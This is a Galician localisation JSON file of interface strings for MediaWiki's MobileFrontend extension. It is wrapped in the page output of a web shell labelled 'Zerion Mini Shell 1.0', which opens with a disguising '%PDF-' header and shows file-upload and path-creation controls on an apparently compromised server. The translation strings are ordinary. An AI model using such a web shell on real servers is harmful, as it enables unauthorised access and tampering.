%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/i18n/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/i18n/gl.json

{
	"@metadata": {
		"authors": [
			"Elisardojm",
			"MaxSem",
			"MetalBrasil",
			"Toliño",
			"Vivaelcelta",
			"Breogan2008",
			"Beninho",
			"Fisterraeomar",
			"Banjo",
			"Navhy"
		]
	},
	"mobile-frontend-editor-anon-cta-message": "Acceda ou cree unha conta para seguir as súas edicións",
	"abusefilter-edit-builder-vars-user-mobile": "Se un usuario está ou non está editando a través da interface móbil",
	"mobile-frontend-account-create-captcha-placeholder": "Insira o código de confirmación",
	"mobile-frontend-categories-heading": "<strong>Categorías</strong>",
	"mobile-frontend-categories-subheading": "A páxina pertence ás seguintes categorías:",
	"mobile-frontend-categories-nocat": "Esta páxina non pertence a ningunha categoría.",
	"mobile-frontend-categories-add": "Engadir categoría",
	"mobile-frontend-categories-search": "Procurar categorías",
	"mobile-frontend-categories-nomatch": "Non se atopou categoría algunha para a súa procura. Debería probar con outra.",
	"mobile-frontend-categories-nodata": "Houbo un erro. Engadíu algunha categoría para gardar?",
	"mobile-frontend-categories-summary": "Engadido a categorías",
	"mobile-frontend-categories-add-heading": "<strong>Engadir<span> $1</span> a novas categorías</strong>",
	"mobile-frontend-categories-add-wait": "Gardando categorías, espere por favor.",
	"mobile-frontend-categories-normal": "Basado no contido",
	"mobile-frontend-categories-hidden": "Organizacional",
	"mobile-frontend-changeslist-nocomment": "sen resumo de edición",
	"mobile-frontend-cite-error-title": "Erro cargando citas",
	"mobile-frontend-cite-error": "Houbo un problema ó intentar cargar as citas a causa dun identificador de revisión incorrecto.",
	"mobile-frontend-cite-none-available": "Non hai citas dispoñibles para esta páxina.",
	"mobile-frontend-clear-search": "Limpar",
	"mobile-frontend-contributions-404-desc": "Non se poden procurar contribucións sen usuario ou cun usuario que non existe",
	"mobile-frontend-contributions-404-title": "Nome de usuario incorrecto",
	"mobile-frontend-copyright": "Todo o contido está dispoñible baixo a licenza $1, agás que se indique o contrario.",
	"mobile-frontend-desc": "Interface para dispositivos móbiles",
	"mobile-frontend-diffview-404-desc": "O identificador da revisión solicitada non existe.",
	"mobile-frontend-diffview-404-title": "Revisión incorrecta",
	"mobile-frontend-diffview-anonymous": "Usuario anónimo",
	"mobile-frontend-diffview-bytesadded": "$1 {{PLURAL:$1|byte engadido|bytes engadidos}}",
	"mobile-frontend-diffview-bytesnochange": "Sen cambios no tamaño",
	"mobile-frontend-diffview-bytesremoved": "$1 {{PLURAL:$1|byte eliminado|bytes eliminados}}",
	"mobile-frontend-diffview-editcount": "<div>$1</div> {{PLURAL:$1|edición|edicións}}",
	"mobile-frontend-diffview-title": "Cambios",
	"mobile-frontend-donate-image-anon": "Inicie a sesión para acceder á páxina de cargas.",
	"mobile-frontend-donate-image-login-action": "<strong>Os ficheiros multimedia de {{SITENAME}} son donados por persoas coma vostede.</strong><br />Acceda ao sistema para compartir os seus ficheiros multimedia.",
	"mobile-frontend-donate-image-nouploads": "Sen cargas.",
	"mobile-frontend-donate-image-title": "Cargas",
	"mobile-frontend-donate-image-title-username": "Ficheiros subidos por $1",
	"mobile-frontend-donate-image-title-you": "Ficheiros subidos por vostede",
	"mobile-frontend-edit-login-action": "<strong>Axude a mellorar {{SITENAME}}.</strong><br />Acceda ao sistema para editar.",
	"mobile-frontend-edit-signup-action": "Rexístrese para editar.",
	"mobile-frontend-editor-abusefilter-disallow": "Esta edición non se pode gardar porque detectamos un problema.",
	"mobile-frontend-editor-abusefilter-read-more": "Ler máis",
	"mobile-frontend-editor-abusefilter-warning": "Atención: Está seguro de querer gardar esta edición? Pode haber problemas con ela.",
	"mobile-frontend-editor-anon": "Editar sen iniciar sesión",
	"mobile-frontend-editor-anonwarning": "<strong>Aviso</strong>: non accedeu ao sistema. O seu enderezo IP será visible publicamente se fai calquera edición. Se <strong>accede ao sistema</strong> ou <strong>crea unha conta</strong>, as súas edicións atribuiranse ao seu nome de usuario, xunto con outros beneficios.",
	"mobile-frontend-editor-blocked-drawer-reason-header": "Motivo para o bloqueo",
	"mobile-frontend-editor-blocked-drawer-creator-header": "{{GENDER:1$|Bloqueado|Bloqueada}} por",
	"mobile-frontend-editor-generic-block-reason": "Razón descoñecida",
	"mobile-frontend-editor-cancel": "Cancelar",
	"mobile-frontend-editor-cancel-confirm": "Está seguro de querer deixar a edición?",
	"mobile-frontend-editor-captcha-try-again": "Código incorrecto. Inténteo de novo.",
	"mobile-frontend-editor-continue": "Seguinte",
	"mobile-frontend-editor-editing": "Editando",
	"mobile-frontend-editor-editing-page": "<span><strong>Editando</strong> $1</span>",
	"mobile-frontend-editor-error": "Erro! Non se gardou a edición.",
	"mobile-frontend-editor-error-conflict": "Erro! Outro usuario modificou a páxina.",
	"mobile-frontend-editor-error-loading": "Erro! Non se pode cargar a sección.",
	"mobile-frontend-editor-error-preview": "Erro! Houbo un problema inesperado ao cargar a vista previa. Peche e vólvao intentar.",
	"mobile-frontend-editor-keep-editing": "Seguir editando",
	"mobile-frontend-editor-licensing": "Ó gardar os cambios, acepta liberar a súa contribución baixo {{PLURAL:$2|a licenza|as licenzas}} $1",
	"mobile-frontend-editor-licensing-with-terms": "Ó gardar, acepta os $1 e a liberar a súa contribución baixo os termos  {{PLURAL:$3|da licenza|das licenzas}} $2",
	"mobile-frontend-editor-terms-link": "[$1 Termos de Uso]",
	"mobile-frontend-editor-new-page-confirm": "Está {{GENDER:$1|seguro|segura}} que quiere crear unha páxina nova en {{SITENAME}}?",
	"mobile-frontend-editor-placeholder": "Esta sección está baleira. Sexa o primeiro en expandila!",
	"mobile-frontend-editor-placeholder-new-page": "{{GENDER:$1|Está creando}} unha páxina nova en {{SITENAME}}!",
	"mobile-frontend-editor-previewing-page": "<span><strong>Vista previa</strong> de $1</span>",
	"mobile-frontend-editor-redirect-title": "Redirixindo ó editor…",
	"mobile-frontend-editor-save": "Gardar",
	"mobile-frontend-editor-success": "Correcto! Gardouse a súa edición.",
	"mobile-frontend-editor-success-landmark-1": "Parabéns, xa é editor de {{SITENAME}}!",
	"mobile-frontend-editor-success-new-page": "Parabéns pola creación dunha nova páxina!",
	"mobile-frontend-editor-summary-placeholder": "Exemplos: \"corrixín un erro ortográfico\", \"engadín contido\"",
	"mobile-frontend-editor-summary-request": "Como mellorou a páxina?",
	"mobile-frontend-editor-summary": "Resumo:",
	"mobile-frontend-editor-switch-confirm": "Debe gardar a modificación antes de cambiar a outro modo de edición.",
	"mobile-frontend-editor-switch-editor": "Cambiar de editor",
	"mobile-frontend-editor-switch-visual-editor": "Cambiar á edición visual",
	"mobile-frontend-editor-viewing-source-page": "<strong>Vendo o código fonte de</strong><span> $1</span>",
	"mobile-frontend-editor-wait": "Gardando a edición, agarde.",
	"mobile-frontend-expand-sections-description": "Expandir sempre todas as seccións ao explorar unha nova páxina.",
	"mobile-frontend-expand-sections-status": "Expandir todas as seccións",
	"mobile-frontend-fontchanger-link": "Tamaño da letra",
	"mobile-frontend-fontchanger-desc": "Aumentar ou disminuír o tamaño do texto para mellorar a lexibilidade.",
	"mobile-frontend-fontchanger-option-small": "Pequeno",
	"mobile-frontend-fontchanger-option-medium": "Corrente",
	"mobile-frontend-fontchanger-option-large": "Grande",
	"mobile-frontend-fontchanger-option-xlarge": "Extra grande",
	"mobile-frontend-featured-article": "Contido destacado",
	"mobile-frontend-generic-404-desc": "Non se puido atopar a páxina que procuraba.",
	"mobile-frontend-generic-404-title": "Erro: Non se atopou a páxina",
	"mobile-frontend-generic-login-new": "<strong>{{SITENAME}} está feito por xente coma ti.</strong><br />Rexístrate para contribuír.",
	"mobile-frontend-history-404-desc": "Non se pode procurar o historial dunha páxina que non existe. Se cadra, foi borrada ou seguiu unha ligazón incorrecta.",
	"mobile-frontend-history-404-title": "A páxina non existe",
	"mobile-frontend-history-no-results": "O filtro non proporcionou ningunha coincidencia co historial.",
	"mobile-frontend-joined-just-now": "{{GENDER:$1|Uniuse}} recentemente",
	"mobile-frontend-joined-seconds": "{{GENDER:$1|Uniuse}} hai {{PLURAL:$2|$2 segundo|$2 segundos}}",
	"mobile-frontend-joined-minutes": "{{GENDER:$1|Uniuse}} hai {{PLURAL:$2|$2 minuto|$2 minutos}}",
	"mobile-frontend-joined-hours": "{{GENDER:$1|Uniuse}} hai {{PLURAL:$2|$2 hora|$2 horas}}",
	"mobile-frontend-joined-days": "{{GENDER:$1|Uniuse}} hai {{PLURAL:$2|$2 día|$2 días}}",
	"mobile-frontend-joined-months": "{{GENDER:$1|Uniuse}} hai {{PLURAL:$2|$2 mes|$2 meses}}",
	"mobile-frontend-joined-years": "{{GENDER:$1|Uniuse}} hai {{PLURAL:$2|$2 ano|$2 anos}}",
	"mobile-frontend-language-heading": "<strong>Linguas</strong>",
	"mobile-frontend-languages-404-desc": "Cómpre especificar un título válido.",
	"mobile-frontend-languages-404-title": "Erro de linguas",
	"mobile-frontend-languages-header": "Linguas",
	"mobile-frontend-languages-header-page": "$1 - Linguas",
	"mobile-frontend-languages-nonexistent-title": "A páxina \"$1\" non existe.",
	"mobile-frontend-languages-text": "\"$1\" está dispoñible en $2 {{PLURAL:$2|lingua|linguas}}.",
	"mobile-frontend-languages-variant-header": "Variantes de {{#language:{{CONTENTLANG}}}}",
	"mobile-frontend-languages-structured-overlay-suggested-languages-header": "Linguas suxeridas",
	"mobile-frontend-languages-structured-overlay-all-languages-header": "Todas as linguas",
	"mobile-frontend-languages-structured-overlay-search-input-placeholder": "Procurar unha lingua",
	"mobile-frontend-last-modified-date": "Última edición o $1 ás $2",
	"mobile-frontend-last-modified-with-user-days": "[$4 Última {{GENDER:$1|edición}} hai {{PLURAL:$3|$3 día|$3 días}}] por {{PLURAL:$5|[$6 $2]|0=un usuario anónimo}}",
	"mobile-frontend-last-modified-with-user-hours": "[$4 Última {{GENDER:$1|edición}} hai {{PLURAL:$3|$3 hora|$3 horas}}] por {{PLURAL:$5|[$6 $2]|0=un usuario anónimo}}",
	"mobile-frontend-last-modified-with-user-just-now": "[$3 Última {{GENDER:$1|edición}}] hai instantes por {{PLURAL:$4|[$5 $2]|0=un usuario anónimo}}",
	"mobile-frontend-last-modified-with-user-minutes": "[$4 Última {{GENDER:$1|edición}} hai {{PLURAL:$3|$3 minuto|$3 minutos}}] por {{PLURAL:$5|[$6 $2]|0=un usuario anónimo}}",
	"mobile-frontend-last-modified-with-user-months": "[$4 Última {{GENDER:$1|edición}} hai {{PLURAL:$3|$3 mes|$3 meses}}] por {{PLURAL:$5|[$6 $2]|0=un usuario anónimo}}",
	"mobile-frontend-last-modified-with-user-seconds": "[$4 Última {{GENDER:$1|edición}} hai {{PLURAL:$3|$3 segundo|$3 segundos}}] por {{PLURAL:$5|[$6 $2]|0=un usuario anónimo}}",
	"mobile-frontend-last-modified-with-user-years": "[$4 Última {{GENDER:$1|edición}} hai {{PLURAL:$3|$3 ano|$3 anos}}] por {{PLURAL:$5|[$6 $2]|0=un usuario anónimo}}",
	"mobile-frontend-main-menu": "Menú principal",
	"mobile-frontend-main-menu-page-title": "Navegación do sitio",
	"mobile-frontend-main-menu-settings-heading": "Configuracións",
	"mobile-frontend-media-details": "Detalles",
	"mobile-frontend-media-license-link": "Información sobre a licenza",
	"mobile-frontend-missing-image": "Imaxe",
	"mobile-frontend-nearby-distance": "{{PLURAL:$1|$1 km}}",
	"mobile-frontend-nearby-distance-meters": "{{PLURAL:$1|$1 m}}",
	"mobile-frontend-nearby-error": "O sistema de localización de {{SITENAME}} está tendo algúns problemas.",
	"mobile-frontend-nearby-error-guidance": "Probe a refrescar a súa localización.",
	"mobile-frontend-nearby-loading": "Cargando os temas próximos á súa localización actual",
	"mobile-frontend-nearby-noresults": "Calma por aquí... Non se atoparon páxinas con temas próximos.",
	"mobile-frontend-nearby-noresults-guidance": "Probe a crear unha nova páxina ou a engadir a localización a unha que xa exista",
	"mobile-frontend-nearby-requirements": "Sentímolo! O seu navegador web non soporta o sistema de localización de {{SITENAME}}.",
	"mobile-frontend-nearby-requirements-guidance": "Probe cun navegador diferente ou active o JavaScript se o ten desactivado.",
	"mobile-frontend-nearby-title": "Preto",
	"mobile-frontend-nearby-info-heading": "Lugares preto de ti",
	"mobile-frontend-news-items": "Actualidade",
	"mobile-frontend-opt-in-explain": "Ao unirse ás probas beta, vostede terá acceso ás últimas funcionalidades experimentais que poden conter erros de software.",
	"mobile-frontend-overlay-close": "Pechar",
	"mobile-frontend-overlay-continue": "Continuar",
	"mobile-frontend-page-edit-summary": "<span><strong>Resumo de edición</strong> $1</span>",
	"mobile-frontend-photo-upload-invalid-user": "O usuario \"$1\" non está rexistrado.",
	"mobile-frontend-photo-upload-user-count": "{{PLURAL:$1|<span>1</span> carga|<span>$1</span> cargas}}",
	"mobile-frontend-photo-upload-user-count-over-limit": "+500 cargas",
	"mobile-frontend-privacy-link-text": "Protección de datos",
	"mobile-frontend-references-citation": "Cita",
	"mobile-frontend-references-citation-error": "Houbo un erro e non foi posible cargar esta cita.",
	"mobile-frontend-references-list": "Ver lista completa de citas.",
	"mobile-frontend-requires-mobile": "Esta páxina só está dispoñible para dispositivos móbiles. Prema na ligazón de vista móbil na parte inferior da páxina.",
	"mobile-frontend-requires-optin": "Esta páxina non está dispoñible a menos que active o noso modo beta. Visite a [[Special:MobileOptions|páxina de configuración]] para activalo.",
	"mobile-frontend-requires-title": "Páxina non dispoñible",
	"mobile-frontend-return-to-page": "Volver á páxina",
	"mobile-frontend-save-error": "Erro ao gardar a configuración. Asegúrese de ter as cookies activadas.",
	"mobile-frontend-save-settings": "Gardar",
	"mobile-frontend-search-content": "Procurar nas páxinas",
	"mobile-frontend-search-content-no-results": "<b>{{int:mobile-frontend-search-content}}</b> para ver se esta frase aparece en algún lugar.",
	"mobile-frontend-search-no-results": "Non hai ningunha páxina con este título.",
	"mobile-frontend-settings-tagline": "Preferenzas de lectura",
	"mobile-frontend-settings-beta": "βeta de {{SITENAME}}",
	"mobile-frontend-settings-save": "As configuracións foron gardadas",
	"mobile-frontend-talk-fullpage": "Ler coma páxina wiki",
	"mobile-frontend-talk-add-overlay-content-placeholder": "Que está pensando?",
	"mobile-frontend-talk-add-overlay-subject-placeholder": "Asunto",
	"mobile-frontend-talk-add-overlay-submit": "Engadir a conversa",
	"mobile-frontend-talk-explained": "As seguintes conversas están activas nestes intres",
	"mobile-frontend-talk-explained-empty": "Non hai conversas sobre esta páxina.",
	"mobile-frontend-talk-overlay-header": "Conversa",
	"mobile-frontend-talk-overlay-lead-header": "Conversa sen título",
	"mobile-frontend-talk-reply": "Responder",
	"mobile-frontend-talk-reply-info": "Teña en conta que a súa resposta ha asinarse automaticamente co seu nome de usuario.",
	"mobile-frontend-talk-reply-success": "A súa resposta foi gardada na páxina de conversa.",
	"mobile-frontend-talk-topic-feedback": "Novo tema engadido á páxina de conversa!",
	"mobile-frontend-talk-topic-error": "O tema non pode engadirse debido a un erro descoñecido.",
	"mobile-frontend-talk-topic-error-protected": "Esta páxina de conversa está protexida, non ten permiso para engadir temas nela.",
	"mobile-frontend-talk-topic-error-permission": "Non pode engadirse o tema. Non ten permiso para editar páxinas.",
	"mobile-frontend-talk-topic-error-spam": "Rechazouse o tema porque contiña un fragmento de material publicitario non desexado.",
	"mobile-frontend-talk-topic-error-badtoken": "Houbo un erro no servidor. A súa edición non puido gardarse. Probe a recargar a páxina.",
	"mobile-frontend-talk-topic-wait": "Gardando o seu tema novo, por favor espere.",
	"mobile-frontend-terms-text": "Termos de uso",
	"mobile-frontend-view": "Vista móbil",
	"mobile-frontend-view-desktop": "Escritorio",
	"mobile-frontend-watchlist-a-z": "Lista",
	"mobile-frontend-watchlist-a-z-empty-howto": "Actualmente non vixía ningunha páxina. A lista de vixilancia axuda a facer un seguimento daquelas páxinas que atope interesantes. Pode vixiar páxinas premendo na icona en forma de estrela.",
	"mobile-frontend-watchlist-a-z-empty-howto-alt": "Prema na icona da estrela",
	"mobile-frontend-watchlist-add": "\"$1\" engadiuse á súa lista de vixilancia",
	"mobile-frontend-watchlist-back-home": "Volver ao inicio",
	"mobile-frontend-watchlist-cta": "Manter un seguimento desta páxina e de todos os cambios que se realicen nela.",
	"mobile-frontend-watchlist-cta-button-login": "Identificarse",
	"mobile-frontend-watchlist-cta-button-signup": "Rexístrese",
	"mobile-frontend-watchlist-feed": "Modificadas",
	"mobile-frontend-watchlist-feed-empty": "Non hai páxinas con cambios recentes.",
	"mobile-frontend-watchlist-filter-all": "Todas",
	"mobile-frontend-watchlist-filter-articles": "Páxinas",
	"mobile-frontend-watchlist-filter-other": "Outras",
	"mobile-frontend-watchlist-filter-talk": "Conversa",
	"mobile-frontend-watchlist-more": "máis",
	"mobile-frontend-watchlist-please-wait": "Por favor agarde, a acción de vixiancia está levando máis tempo do esperado.",
	"mobile-frontend-watchlist-error": "Houbo un problema ó engadir esta páxina á súa lista de vixiancia. Por favor inténteo de novo.",
	"mobile-frontend-watchlist-purpose": "<strong>Unha lista de vixiancia axúdao a gardar páxinas favoritas e vixiar os cambios sobre elas.</strong><br />Rexístrese para probalo.",
	"mobile-frontend-watchlist-removed": "\"$1\" eliminouse da súa lista de vixilancia",
	"mobile-frontend-watchlist-signup-action": "<strong>Unha lista de vixiancia axúdao a gardar páxinas favoritas e vixiar os cambios sobre elas.</strong><br />Conéctese para comezar unha.",
	"mobile-frontend-user-page-no-owner-page-yet": "Aínda non ten unha páxina de usuario",
	"mobile-frontend-user-page-no-page-yet": "Non existe páxina de usuario para $1",
	"mobile-frontend-user-page-describe-yourself": "Pode describirse para os seus compañeiros de $1 na súa páxina de usuario",
	"mobile-frontend-user-page-describe-yourself-editors": "editores",
	"mobile-frontend-user-page-desired-action": "Esta páxina debe ser creada e editada por $1",
	"mobile-frontend-user-page-create-owner-page-link-label": "Crear a súa propia páxina",
	"mobile-frontend-user-page-create-user-page-link-label": "Crear unha páxina chamada $1",
	"mobile.css": "/* O CSS que se coloque aquí afectará a quen use o sitio móbil */",
	"mobile.js": "/* O JavaScript que se coloque aquí afectará a quen use o sitio móbil */",
	"nearby": "Páxinas sobre temas preto de vostede",
	"tag-mobile_edit": "Edición desde un dispositivo móbil",
	"tag-mobile_edit-description": "Edición feita desde o móbil (web ou aplicación)",
	"tag-mobile_web_edit": "Edición feita a través do sitio móbil",
	"tag-mobile_web_edit-description": "Edición feita a través do sitio web móbil",
	"apihelp-mobileview-description": "Devolve datos necesarios para as vistas nos móbiles.",
	"apihelp-mobileview-summary": "Devolve datos necesarios para as vistas nos móbiles.",
	"apihelp-mobileview-param-page": "Título da páxina a procesar.",
	"apihelp-mobileview-param-redirect": "Se as redireccións deben ser seguidas.",
	"apihelp-mobileview-param-sections": "Lista separada por barras verticais (|) de números de sección dos que devolver o texto. \"all\" (todos) pode usarse para devolvelos todos. Rangos en formato \"1-4\" indican que se devolva as seccións 1, 2, 3, 4. Rangos sen o segundo número, p. ex. \"1-\" indican que se devolva todo ata o final. \"references\" (referencias) pode usarse para indicar que todas as seccións que conteñan referencias teñen que devolverse.",
	"apihelp-mobileview-param-prop": "Que información obter:\n;text:HTML das seccións seleccionadas.\n;sections:Información sobre todas as seccións na páxina.\n;normalizedtitle:Título normalizado da páxina.\n;lastmodified:Selo de tempo en formato ISO 8601 de cando a páxina foi modificada por última vez, p. ex. \"2014-04-13T22:42:14Z\".\n;revision:Devolve o identificador da revisión actual da páxina.\n;protection:Información sobre o nivel de protección.\n;editable:Indica se o usuario actual pode editar a páxina. Isto inclúe todos os factores para usuarios rexistrados pero non o estado bloqueado dos usuarios anónimos.\n;languagecount:Número de idiomas nos que está dispoñible a páxina.\n;hasvariants:Se a páxina está dispoñible noutras variantes de idioma ou non.\n;displaytitle:O título renderizado da páxina, con &#123;&#123;DISPLAYTITLE&#125;&#125; e a súa información aplicada.\n;pageprops:Propiedades da páxina.",
	"apihelp-mobileview-param-prop-withimages": "Que información obter:\n;text:HTML das seccións seleccionadas.\n;sections:Información sobre todas as seccións na páxina.\n;normalizedtitle:Título normalizado da páxina.\n;lastmodified:Selo de tempo en formato ISO 8601 de cando a páxina foi modificada por última vez, p. ex. \"2014-04-13T22:42:14Z\".\n;revision:Devolve o identificador da revisión actual da páxina.\n;protection:Información sobre o nivel de protección.\n;editable:Indica se o usuario actual pode editar a páxina. Isto inclúe todos os factores para usuarios rexistrados pero non o estado bloqueado dos usuarios anónimos.\n;languagecount:Número de idiomas nos que está dispoñible a páxina.\n;hasvariants:Se a páxina está dispoñible noutras variantes de idioma ou non.\n;displaytitle:O título renderizado da páxina, con &#123;&#123;DISPLAYTITLE&#125;&#125; e a súa información aplicada.\n;pageprops:Propiedades da páxina.\n;image:Información sobre unha imaxe asociada con esta páxina.\n;thumb:Miniatura dunha imaxe asociada con esta páxina.",
	"apihelp-mobileview-param-sectionprop": "Que información obter sobre as seccións.",
	"apihelp-mobileview-param-pageprops": "Que propiedades de páxina devolver, unha lista separada por unha barra vertical (\"|\") ou \"*\" para todas as propiedades.",
	"apihelp-mobileview-param-variant": "Converter o contido nesta variante do idioma.",
	"apihelp-mobileview-param-noimages": "Retornar HTML sen imaxes",
	"apihelp-mobileview-param-noheadings": "Non incluír cabeceiras na saída.",
	"apihelp-mobileview-param-notransform": "Non transformar o HTML á versión específica móbil",
	"apihelp-mobileview-param-onlyrequestedsections": "Só devolver as seccións solicitadas con $1prop=sections.",
	"apihelp-mobileview-param-offset": "Simular que todo o texto resultado é unha cadea de caracteres, e devolver a subcadea que comeza neste punto.",
	"apihelp-mobileview-param-maxlen": "Simular que todo o texto resultado é unha cadea de caracteres, e limitar o resultado a esta lonxitude.",
	"apihelp-mobileview-param-thumbsize": "Dimensións máximas das miniaturas",
	"apihelp-mobileview-param-thumbwidth": "Largura máxima da miniatura.",
	"apihelp-mobileview-param-thumbheight": "Altura máxima da miniatura.",
	"apihelp-mobileview-param-revision": "Solicitar unha revisión en particular.",
	"apihelp-mobileview-example-1": "Obter información sobre a sección 0 de [[Doom metal]]",
	"apihelp-mobileview-example-2": "Obter información sobre a sección 0 e as seccións contendo as referencias de [[Candlemass]]",
	"apihelp-mobileview-example-3": "Obter información sobre as seccións 1 e posteriores, e das seccións que conteñen as referencias de [[Candlemass]]",
	"apihelp-parse-param-mobileformat": "Devolver a análise de saída nun formato axeitado para dispositivos móbiles.",
	"apihelp-parse-param-noimages": "Desactiva as imaxes na saída móbil.",
	"apihelp-parse-param-mainpage": "Aplicar as transformacións móbiles á páxina principal.",
	"apihelp-webapp-manifest-description": "Devolve un manifesto de aplicación web.",
	"apihelp-webapp-manifest-summary": "Devolve un manifesto de aplicación web.",
	"apierror-mobilefrontend-badidtitle": "Mala combinación de id de modificación/título.",
	"apierror-mobilefrontend-toomanysizeparams": "<var>thumbsize</var> é mutuamente exclusivo con <var>thumbwidth</var> e <var>thumbheight</var>.",
	"apiwarn-mobilefrontend-ignoringnoheadings": "<var>noheadings</var> non ten sentido na páxina principal, ignorado.",
	"apiwarn-mobilefrontend-sectionsnotfound": "{{PLURAL:$2|Sección $1 non atopada|Seccións $1 non atopadas}}.",
	"mobile-frontend-loading-message": "Cargando…",
	"mobile-frontend-panel-ok": "Aceptar",
	"mobile-frontend-panel-cancel": "Non, grazas",
	"mobile-frontend-panel-betaoptin-msg": "Quere probar algúns trebellos novos? Ó unirse á beta, accederá a trebellos experimentais, co risco de encontrarse con algúns erros e problemas.",
	"mobile-frontend-search-feedback-link-text": "Envíenos os seus comentarios.",
	"mobile-frontend-search-feedback-prompt": "Non atopou o que procuraba?",
	"mobile-frontend-notifications-filter-title": "Filtrar as notificacións",
	"mobile-frontend-mobile-option-MFLazyLoadReferences": "Referenzas de carga preguizosa",
	"mobile-frontend-mobile-option-MFEnableWikidataDescriptions": "Descricións do título",
	"mobile-frontend-send-feedback": "Enviar opinións",
	"mobile-frontend-mobile-option-MFLazyLoadImages-description": "Carregar as imaxes sóamente cando fora preciso.",
	"mobile-frontend-mobile-option-MFLazyLoadImages": "Imaxes de carga preguizosa",
	"mobile-frontend-mobile-option-MFShowFirstParagraphBeforeInfobox": "Parágrafo introductorio",
	"mobile-frontend-mobile-option-MFEnableFontChanger": "Tamaño da fonte",
	"mobile-frontend-mobile-option-MFEnableFontChanger-description": "Controla o tamaño da fonte da súa experiencia de lectura.",
	"mobile-frontend-beta-only": "A funcionalidade só atópase dispoñíbel no modo beta",
	"mobile-frontend-console-recruit": "Saiba máis sobre a forma en como construímos o noso sitio móbil @ https://www.mediawiki.org/wiki/Extension:MobileFrontend"
}

Zerion Mini Shell 1.0